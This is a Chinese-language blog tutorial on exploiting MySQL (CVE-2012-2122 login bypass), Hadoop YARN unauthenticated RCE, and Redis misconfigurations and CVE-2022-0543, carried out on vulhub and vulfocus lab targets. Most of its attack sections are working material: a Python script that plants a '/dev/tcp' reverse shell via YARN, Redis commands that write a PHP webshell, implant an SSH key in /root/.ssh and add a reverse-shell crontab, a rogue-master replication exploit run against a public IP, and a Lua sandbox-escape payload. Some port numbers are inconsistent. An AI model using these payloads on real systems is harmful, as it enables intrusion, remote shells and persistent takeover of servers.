Mysql&Hadoop&redis数据库漏洞利用总结

2023年 10月 16日 91.3k 0

mysql

CVE-2012-2122

  • 当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

    受影响版本:

    • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
    • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

    参考链接:

    • www.freebuf.com/vuls/3815.h…
    • blog.rapid7.com/2012/06/11/…
开启环境

靶机:192.168.138.128

攻击机:192.168.138.130

进去靶场目录下:vulhub/mysql/CVE-2012-2122

启动靶场环境:docker-compose up -d

查看环境端口号:docker-compose ps

攻击机访问:

image.png

漏洞验证

在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

攻击机输入攻击命令

image.png
知道最后登录成功

image.png

mysql弱口令拆解(借助phpmyadmin)

ssh和rdp连接,支持外连的,可以爆破账号密码登录(使用hydra)

而爆破mysql,不支持外连,如果网页上有phpmyadmin的页面,通过phpmyadmin页面登录mysql内部登录。

image.png

Hadoop

未授权访问 内置配合命令执行 RCE

漏洞介绍

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

漏洞利用

访问 http://ip:8088 即可看到Hadoop YARN ResourceManager WebUI页面(未授权访问漏洞)

启动靶场

这里用的是vluhub的hadoop靶场

启动靶场之后访问

image.png

访问 8088 端口,出现了以下界面

image.png
利用外网主机设置监听

搞一台外网主机

exp——python脚本:

开启监听端口7777

import requests
​
target = 'http://192.168.241.142:8088/'
lhost = 'your 监听 ip' # put your local host ip here, and listen at port 9999
​
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/7777 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

image.png

开启监听之后,在执行exp脚本

image.png

返回监听成功

执行whoami,执行成功

redis

命令行直接启动/停止/重启redis 可以直接通过下面的命令启动/停止/重启redis

/etc/init.d/redis-server start 启动redis服务 /etc/init.d/redis-server stop 停止redis服务 /etc/init.d/redis-server restart 重启redis服务

未授权访问

漏洞介绍

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

条件:bind 127.0.0.1注释,显示主机可以尝试访问redis

image.png

默认安全模式关闭的

image.png

或者没有设置密码,空密码

image.png

漏洞复现

条件:

靶机:服务器的vulhub的redis靶场

开启ufw防火墙,开放6379端口(sudo ufw allow 6349),并且阿里云设置安全组设置6379端口对外开放

image.png

启动靶场

image.png

准备一个redis连接终端

端口扫描探测端口存活

nmap -p 6379 -Pn 靶机ip

能扫出来,表示开放3369端口

image.png

攻击机安装redis-cli远程连接工具

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz

使用工具

cd redis-stable
make
cp src/redis-cli /usr/bin/

用redis-cli命令远程免密登录redis主机

# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

image.png

如果有密码就失败,提示需要身份验证

image.png

利用redis写webshell

攻击条件:

1.在攻击机上能用redis-cli连上

  • 知道Web 路径,Web 目录权限可读写
  • config set dir /tmp #设置 WEB 写入目录
    config set dbfilename 1.php #设置写入文件名
    set test "" #设置写入文件代码
    save #保存执行
    

    在tmp目录下写入一个1.php的木马文件:

    image.png

    在运行的容器中执行命令

    docker ps -a,查询docker中的所有的容器id

    docker exec -it 9bc4e01433e2 /bin/bash,进入id为9bc4e01433e2 的容器中

    image.png

    可以看到里边有1.php写入成功

    注:写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行。

    image.png

    注意:判断是否有写入权限(低版本不能使用ACL命令)
    使用SET命令尝试写入一个键值对,并观察服务器的响应。例如,你可以尝试执行以下命令:
    SET testkey testvalue
    如果服务器返回OK,则表示你有写入权限。如果服务器返回一个错误消息,如(error) READONLY You can't write against a read only replica.,则表示你没有写入权限。
    2. 尝试执行一个写入操作的命令,如DEL或EXPIRE,并观察服务器的响应。例如,你可以尝试执行以下命令:
    ​
    DEL testkey
    如果服务器返回1或0,则表示你有写入权限。如果服务器返回一个错误消息,如(error) READONLY You can't write against a read only replica.,则表示你没有写入权限。
    ​
    需要注意的是,使用这些方法只能判断当前连接的用户是否有写入权限,而不能确定特定键或命令的权限设置。
    

    补充:当数据库过大时,redis写入shell小技巧

    
    
    利用公私钥认证获取root权限

    条件:redis服务器使用root账户登录

    安全模式protected-mode关闭

    允许使用密钥登录(即可远程写入一个公钥,直接远程登录服务器)

    在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa

    1.进入redis-stable工具中:cd redis-stable  
    2.生成公钥和私钥(密码直接回车为空):ssh-keygen -t rsa
    

    image.png

    3.进入/root/.ssh目录: 将生成的公钥保存到1.txt:(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt
    ls -a:查看保存
    

    image.png

    4. 读取1.txt,用1.txt尝试连接服务器,内容设置为crack,就是先把密匙对先存储到对方服务器中,-p指定端口号,如果不是常见redis端口号
    cat 1.txt | redis-cli -h 靶机ip -p 端口号 -x set crack
    

    image.png

    5.连接到目标主机上去,然后更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh
    设置上传公钥的备份文件名字为authorized_keys:config set dbfilename authorized_keys
    保存并退出:save,exit
    

    image.png

    6.攻击机使用ssh免密登录靶机,利用私钥成功登录redis服务器
    进入/root/.ssh/ 目录里,然后连接:ssh -i id_rsa root@靶机ip
    

    image.png

    crontab计划任务getshell
    靶机环境

    使用的vluhub靶场没有安装[Crontab],需要自己安装

    使用yum命令安装Crontab:

    yum install vixie-cron 
    yum install crontabs
    注:vixie-cron软件包是cron的主程序;
    crontabs软件包是用来安装、卸装、或列举用来驱动 cron 守护进程的表格的程序。
    cron是linux的内置服务,但它不自动起来,可以用以下的方法启动、关闭这个服务:
    /sbin/service crond start #启动服务
    /sbin/service crond stop #关闭服务
    /sbin/service crond restart #重启服务
    /sbin/service crond reload #重新载入配置
    

    2.查看Crontab状态:

    service crond status
    ntsysv #查看crontab服务是否已设置为开机启动
    chkconfig –level 35 crond on #加入开机自动启动
    

    3.添加定时任务:

    crontab -e #编辑cron任务模式
    i #默认文字编辑器为vim,按i字母键即可添加cron任务
    30 3 * * * /usr/local/etc/rc.d/lighttpd restart #将命令代码放入,此命令意义为每天的03:30 重启apach
    ESC #按ESC键退出编辑模式
    :wq #键入:wq保存
    service crond restart #重启crontab服务
    

    4.查看任务列表:

    crontab -l
    
    复现

    靶机:192.168.1.142 攻击机:192.168.1.143

    攻击机上先监听端口:

    image.png

    写入计划任务(连接时需要以root用户身份):

    config set dir /var/spool/cron/crontabs
    config set dbfilename root
    set xxx "nnn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.143/4444 0>&1nnn"
    save
    

    等待一分钟左右就会收到反弹shell了:

    image.png

    image.png

    利用主从复制rce(python脚本)

    Redis 未授权访问漏洞可以被利用来获取目标主机的控制权,其中一个利用方式是通过主从复制 RCE(远程代码执行)。成功利用此漏洞的 Redis 版本信息为 Redis 4.x 和 Redis 5.x,直到 Redis 5.0.5 和 Redis 6.0.0 的发布,这些版本修复了相关的安全漏洞。

    在 Redis 4.x 和 Redis 5.x 的早期版本中,如果 Redis 服务未设置密码或弱密码,并且开启了主从复制功能,攻击者可以利用这个漏洞将恶意命令注入到从服务器中执行。此外,攻击者还需要从服务器的配置文件中开启了加载外部模块的功能,才能将恶意模块上传到从服务器并执行。最终,攻击者可以在从服务器上执行任意命令,如反弹 shell 等,获取目标主机的控制权。

    这里使用vulfocus靶场:vulfocus.cn/

    image.png

    redis-cli -h ip -p 端口,可以进行连接存在未授权访问

    直接用poc可以执行命令

    攻击机:

    git clone https://github.com/vulhub/redis-rogue-getshell.git
    cd redis-rogue-getshell/RedisModulesSDK/exp
    make
    

    回到redis-rogue-getshell目录下

    ./redis-master.py -r 123.58.224.8 -p 35249 -L 攻击机ip -P 8888 -f RedisModulesSDK/exp/exp.so -c "whoami"
    (第一个ip是靶机,第二个ip是攻击机)
    

    执行whoami命令:

    image.png

    执行id命令

    ./redis-master.py -r 123.58.224.8 -p 35249 -L 攻击机ip -P 8888 -f RedisModulesSDK/exp/exp.so -c "id"

    image.png

    CVE-2022-0543(Redis 沙盒逃逸漏洞)

    靶机,vulhub靶场的ip:192.168.138.128

    攻击机:192.168.138.130

    测试redis能不能远程连接

    info

    image.png

    然后直接利用poc

    poc

    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
    

    image.png

    命令换成反弹shell命令,可以尝试getshell

    相关文章

    服务器端口转发,带你了解服务器端口转发
    服务器开放端口,服务器开放端口的步骤
    产品推荐:7月受欢迎AI容器镜像来了,有Qwen系列大模型镜像
    如何使用 WinGet 下载 Microsoft Store 应用
    百度搜索:蓝易云 – 熟悉ubuntu apt-get命令详解
    百度搜索:蓝易云 – 域名解析成功但ping不通解决方案

    发布评论